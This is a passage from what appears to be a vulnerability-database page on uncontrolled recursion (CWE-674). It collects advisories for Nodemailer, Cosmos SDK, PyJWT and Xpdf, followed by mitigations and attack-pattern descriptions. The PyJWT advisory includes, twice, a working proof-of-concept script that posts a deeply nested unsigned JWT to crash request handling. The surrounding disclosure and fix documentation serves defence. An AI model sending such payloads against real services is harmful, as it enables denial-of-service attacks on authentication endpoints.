seenArrays.add(value);\n\n        for (let i = value.length - 1; i \u003e= 0; i--) {\n            pending.push(value[i]);\n        }\n        continue;\n    }\n\n    // Process only scalar strings and structured address objects here.\n}\n```\n\nAdditional hardening options include:\n\n1. Reject array nesting above an explicit maximum before any coercion.\n2. Reject unsupported recipient value types instead of passing them to `addressparser()`.\n3. Catch address-normalization exceptions and report them through the normal `sendMail()` callback or rejected Promise.\n4. Apply input-complexity checks before constructing the envelope and before evaluating `maxRecipients`.\n\nAn iterative implementation is preferable because the public TypeScript type is recursive and indicates that nested array structures are accepted inputs. Cycle detection remains necessary for direct JavaScript callers because cyclic arrays cannot originate from JSON but can be constructed in memory.\n\n## Suggested regression tests\n\nThe fix should cover:\n\n1. Deeply nested arrays containing one valid address, completing iteratively or failing with a controlled Nodemailer error.\n2. Nested inputs through `to`, `cc`, `bcc`, `replyTo`, and explicit envelope fields.\n3. A cyclic JavaScript recipient array.\n4. Ordinary flat strings and arrays, preserving existing behavior.\n5. Arrays containing structured `{ name, address }` objects.\n6. Confirmation that failures reach the callback or rejected Promise instead of escaping the documented error path.",
  "id": "GHSA-8vvx-rff5-p5rq",
  "modified": "2026-09-29T18:23:50Z",
  "published": "2026-09-29T18:23:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8vvx-rff5-p5rq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/ebe084940aef88278afc6016b78c6d1c3821bb66"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS"
}

GHSA-8WCC-M6J2-QXVM

Vulnerability from github – Published: 2024-12-16 19:33 – Updated: 2024-12-23 17:13
VLAI
Summary
ASA-2024-0012, ASA-2024-0013: CosmosSDK: Transaction decoding may result in a stack overflow or resource exhaustion
Details

Summary

ASA-2024-0012

Name: ASA-2024-0012, Transaction decoding may result in a stack overflow Component: Cosmos SDK Criticality: High (Considerable Impact, and Possible Likelihood per ACMv1.2) Affected versions: cosmos-sdk versions <= v0.50.10, <= v0.47.14 Affected users: Chain Builders + Maintainers, Validators, node operators

ASA-2024-0013

Name: ASA-2024-0013: CosmosSDK: Transaction decoding may result in resource exhaustion
Component: Cosmos SDK Criticality: High (Considerable Impact, and Possible Likelihood per ACMv1.2) Affected versions: cosmos-sdk versions <= v0.50.10, <= v0.47.14 Affected users: Chain Builders + Maintainers, Validators, node operators

Impact

ASA-2024-0012

When decoding a maliciously formed packet with a deeply-nested structure, it may be possible for a stack overflow to occur and result in a network halt. This was addressed by adding a recursion limit while decoding the packet.

ASA-2024-0013

Nested messages in a transaction can consume exponential cpu and memory on UnpackAny calls. Themax_tx_bytes sets a limit for external TX but is not applied for internal messages emitted by wasm contracts or a malicious validator block. This may result in a node crashing due to resource exhaustion. This was addressed by adding additional validation to prevent this condition.

Patches

The issues above are resolved in Cosmos SDK versions v0.47.15 or v0.50.11. Please upgrade ASAP.

Timeline for ASA-2024-0012

  • October 1, 2024, 12:29pm UTC: Issue reported to the Cosmos Bug Bounty program
  • October 1, 2024, 2:47pm UTC: Issue triaged by Amulet on-call, and distributed to Core team
  • December 9, 2024, 11:13am UTC: Core team completes patch for issue
  • Dec 14, 2024,16:00 UTC: Pre-notification delivered
  • Dec 16, 2024, 16:00 UTC: Patch made available

This issue was reported to the Cosmos Bug Bounty Program on HackerOne on October 1, 2024.

Timeline for ASA-2024-0013

  • October 19, 2024, 8:12pm UTC: Issue reported to the Cosmos Bug Bounty program
  • October 19, 2024, 8:28pm UTC: Issue triaged by Amulet on-call, and distributed to Core team
  • December 11, 2024, 3:31pm UTC: Core team completes patch for issue
  • Dec 14, 2024, 16:00 UTC: Pre-notification delivered
  • Dec 16, 2024, 16:00 UTC: Patch made available

This issue was reported by LonelySloth to the Cosmos Bug Bounty Program on HackerOne on October 19, 2024.

If you believe you have found a bug in the Interchain Stack or would like to contribute to the program by reporting a bug, please see https://hackerone.com/cosmos.

If you have questions about Interchain security efforts, please reach out to our official communication channel at security@interchain.io. For more information about the Interchain Foundation’s engagement with Amulet, and to sign up for security notification emails, please see https://github.com/interchainio/security.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cosmos/cosmos-sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.50.0-alpha.0"
            },
            {
              "fixed": "0.50.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cosmos/cosmos-sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.47.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "cosmossdk.io/x/tx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-16T19:33:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary \n\n### ASA-2024-0012\nName: ASA-2024-0012,  Transaction decoding may result in a stack overflow\nComponent: Cosmos SDK\nCriticality: High (Considerable Impact, and Possible Likelihood per [ACMv1.2](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md))\nAffected versions: cosmos-sdk versions \u003c= v0.50.10, \u003c= v0.47.14\nAffected users: Chain Builders + Maintainers, Validators, node operators\n\n### ASA-2024-0013\nName: ASA-2024-0013: CosmosSDK: Transaction decoding may result in resource exhaustion  \nComponent: Cosmos SDK\nCriticality: High (Considerable Impact, and Possible Likelihood per [ACMv1.2](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md))\nAffected versions: cosmos-sdk versions \u003c= v0.50.10, \u003c= v0.47.14\nAffected users: Chain Builders + Maintainers, Validators, node operators\n\n\n\n### Impact\n\n### ASA-2024-0012\n\nWhen decoding a maliciously formed packet with a deeply-nested structure, it may be possible for a stack overflow to occur and result in a network halt. This was addressed by adding a recursion limit while decoding the packet.\n\n### ASA-2024-0013\n\nNested messages in a transaction can consume exponential cpu and memory on `UnpackAny` calls.  The`max_tx_bytes` sets a limit for external TX but is not applied for internal messages emitted by wasm contracts or a malicious validator block. This may result in a node crashing due to resource exhaustion.  This was addressed by adding additional validation to prevent this condition.\n\n\n### Patches\n\nThe issues above are resolved in Cosmos SDK versions v0.47.15 or v0.50.11.\nPlease upgrade ASAP.\n\n### Timeline for ASA-2024-0012\n\n* October 1, 2024, 12:29pm UTC: Issue reported to the Cosmos Bug Bounty program\n* October 1, 2024, 2:47pm UTC: Issue triaged by Amulet on-call, and distributed to Core team\n* December 9, 2024, 11:13am UTC: Core team completes patch for issue\n* Dec 14, 2024,16:00 UTC: Pre-notification delivered\n* Dec 16, 2024, 16:00 UTC: Patch made available\n\nThis issue was reported to the Cosmos Bug Bounty Program on HackerOne on October 1, 2024.\n\n### Timeline for ASA-2024-0013\n\n* October 19, 2024, 8:12pm UTC: Issue reported to the Cosmos Bug Bounty program\n* October 19, 2024, 8:28pm UTC: Issue triaged by Amulet on-call, and distributed to Core team\n* December 11, 2024, 3:31pm UTC: Core team completes patch for issue\n* Dec 14, 2024, 16:00 UTC: Pre-notification delivered\n* Dec 16, 2024, 16:00 UTC: Patch made available\n\nThis issue was reported by LonelySloth to the Cosmos Bug Bounty Program on HackerOne on October 19, 2024. \n\n\nIf you believe you have found a bug in the Interchain Stack or would like to contribute to the program by reporting a bug, please see https://hackerone.com/cosmos.\n\nIf you have questions about Interchain security efforts, please reach out to our official communication channel at [security@interchain.io](mailto:security@interchain.io).  For more information about the Interchain Foundation\u2019s engagement with Amulet, and to sign up for security notification emails, please see https://github.com/interchainio/security.  ",
  "id": "GHSA-8wcc-m6j2-qxvm",
  "modified": "2024-12-23T17:13:22Z",
  "published": "2024-12-16T19:33:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-8wcc-m6j2-qxvm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cosmos/cosmos-sdk/commit/c6b1bdcd5628e3e425a3f02881d3c7db1d7af653"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cosmos/cosmos-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cosmos/cosmos-sdk/releases/tag/v0.47.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cosmos/cosmos-sdk/releases/tag/v0.50.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ASA-2024-0012, ASA-2024-0013: CosmosSDK: Transaction decoding may result in a stack overflow or resource exhaustion "
}

GHSA-8WJV-2P76-3863

Vulnerability from github – Published: 2026-09-29 23:43 – Updated: 2026-09-29 23:43
VLAI
Summary
PyJWT: Uncaught RecursionError in jwt.decode() on deeply nested token header
Details

Package

pyjwt (PyPI)

Affected versions

tested & verified on: 2.13.0. Every version whose PyJWS._load() translates only ValueError is affected

Description

PyJWS._looad() (jwt/api_jws.py:337) splits the compact token, base64url decodes the header segment and hands it to json.loads() before _verify_signature() runs. The parse is wrapped in except ValueError as e: raise DecodeError(...). That is what makes the documented contract sufficient for untrusted input: except jwt.PyJWTError (or InvalidTokenError) around jwt.decode(token, key, algorithms=[...]).

CPython's JSON decoder raises RecursionError (a RuntimeError subclass, not a ValueError) once nesting crosses the native stack guard. That exception leaves _load(), then jwt.decode(), and matches no PyJWTError handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices.

Scope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean DecodeError (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an Authorization header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives.

Proof of concept

Against any endpoint that validates a token from its JSON body with the documented pattern:

import base64, json, http.client

def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

# unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total)
token = (b64url(b"[" * 200_000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode()

conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30)
conn.request("POST", "/api/protected", body=json.dumps({"token": token}),
             headers={"Content-Type": "application/json"})
print(conn.getresponse().status)   # 500, expected 401

Determinism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a RecursionError: Stack overflow ... while decoding a JSON array traceback in the error log.

Impact

An unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure).

Fix

Catch RecursionError alongside ValueError in _load() and raise DecodeError, or parse the header with a nonrecursive, depthbounded parser.

Reproduction

A standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report:

cd <package dir>
docker compose up -d --build
python3 poc_check_then_attack.py
docker compose down -v

poc_pyjwt_recursion.zip

Exit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in docker logs, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's run_log.txt documents a complete proof run.

Credits

  • @Nivid42

Maintainer update — 2026-09-09

We reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches json.loads() before signature verification and raises RecursionError, which is not a PyJWTError. The same input is accepted by the public jwt.decode() path and can escape an application's normal except PyJWTError handling.

The fix is committed as 06573692ebcdec8831c3927513b3e87c31fbbb62. PyJWS._load() now translates both ValueError and RecursionError from header JSON parsing into DecodeError. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips.

No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.13.0"
            },
            {
              "fixed": "2.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T23:43:06Z",
    "nvd_published_at": "2026-09-28T21:17:14Z",
    "severity": "MODERATE"
  },
  "details": "## Package\n\npyjwt (PyPI)\n\n## Affected versions\n\ntested \u0026 verified on: 2.13.0. Every version whose `PyJWS._load()` translates only `ValueError` is affected\n\n## Description\n\n`PyJWS._looad()` (`jwt/api_jws.py:337`) splits the compact token, base64url decodes the header segment and hands it to `json.loads()` before `_verify_signature()` runs. The parse is wrapped in `except ValueError as e: raise DecodeError(...)`. That is what makes the documented contract sufficient for untrusted input: `except jwt.PyJWTError` (or `InvalidTokenError`) around `jwt.decode(token, key, algorithms=[...])`.\n\nCPython\u0027s JSON decoder raises `RecursionError` (a `RuntimeError` subclass, not a `ValueError`) once nesting crosses the native stack guard. That exception leaves `_load()`, then `jwt.decode()`, and matches no `PyJWTError` handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices.\n\nScope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean `DecodeError` (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an `Authorization` header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives.\n\n## Proof of concept\n\nAgainst any endpoint that validates a token from its JSON body with the documented pattern:\n\n```python\nimport base64, json, http.client\n\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\n# unsigned token: the header segment is 200,000 nested \u0027[\u0027 (266,681 bytes total)\ntoken = (b64url(b\"[\" * 200_000) + b\".\" + b64url(b\u0027{\"a\":1}\u0027) + b\".\" + b64url(b\"x\")).decode()\n\nconn = http.client.HTTPConnection(\"127.0.0.1\", 8125, timeout=30)\nconn.request(\"POST\", \"/api/protected\", body=json.dumps({\"token\": token}),\n             headers={\"Content-Type\": \"application/json\"})\nprint(conn.getresponse().status)   # 500, expected 401\n```\n\nDeterminism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a `RecursionError: Stack overflow ... while decoding a JSON array` traceback in the error log.\n\n## Impact\n\nAn unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure).\n\n## Fix\n\nCatch `RecursionError` alongside `ValueError` in `_load()` and raise `DecodeError`, or parse the header with a nonrecursive, depthbounded parser.\n\n## Reproduction\n\nA standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report:\n\n```\ncd \u003cpackage dir\u003e\ndocker compose up -d --build\npython3 poc_check_then_attack.py\ndocker compose down -v\n```\n[poc_pyjwt_recursion.zip](https://github.com/user-attachments/files/31614987/poc_pyjwt_recursion.zip)\n\nExit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in `docker logs`, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package\u0027s `run_log.txt` documents a complete proof run.\n\n## Credits\n\n- @Nivid42\n\n## Maintainer update \u2014 2026-09-09\n\nWe reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches `json.loads()` before signature verification and raises `RecursionError`, which is not a `PyJWTError`. The same input is accepted by the public `jwt.decode()` path and can escape an application\u0027s normal `except PyJWTError` handling.\n\nThe fix is committed as `06573692ebcdec8831c3927513b3e87c31fbbb62`. `PyJWS._load()` now translates both `ValueError` and `RecursionError` from header JSON parsing into `DecodeError`. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips.\n\nNo release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "GHSA-8wjv-2p76-3863",
  "modified": "2026-09-29T23:43:06Z",
  "published": "2026-09-29T23:43:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-8wjv-2p76-3863"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102265"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/06573692ebcdec8831c3927513b3e87c31fbbb62"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Uncaught RecursionError in jwt.decode() on deeply nested token header"
}

GHSA-8WRW-HCVF-R5F8

Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2025-01-24 18:31
VLAI
Details

In Xpdf 4.04 (and earlier), a PDF object loop in the page label tree leads to infinite recursion and a stack overflow.

Severity
2.9 (Low)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-2663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-11T21:15:10Z",
    "severity": "MODERATE"
  },
  "details": "\u00a0In Xpdf 4.04 (and earlier), a PDF object loop in the page label tree leads to infinite recursion and a stack overflow.\n\n\n",
  "id": "GHSA-8wrw-hcvf-r5f8",
  "modified": "2025-01-24T18:31:05Z",
  "published": "2023-07-06T21:14:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2663"
    },
    {
      "type": "WEB",
      "url": "https://forum.xpdfreader.com/viewtopic.php?t=42421"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation

Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

Mitigation
Implementation

Increase the stack size.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

← Back to the CWE list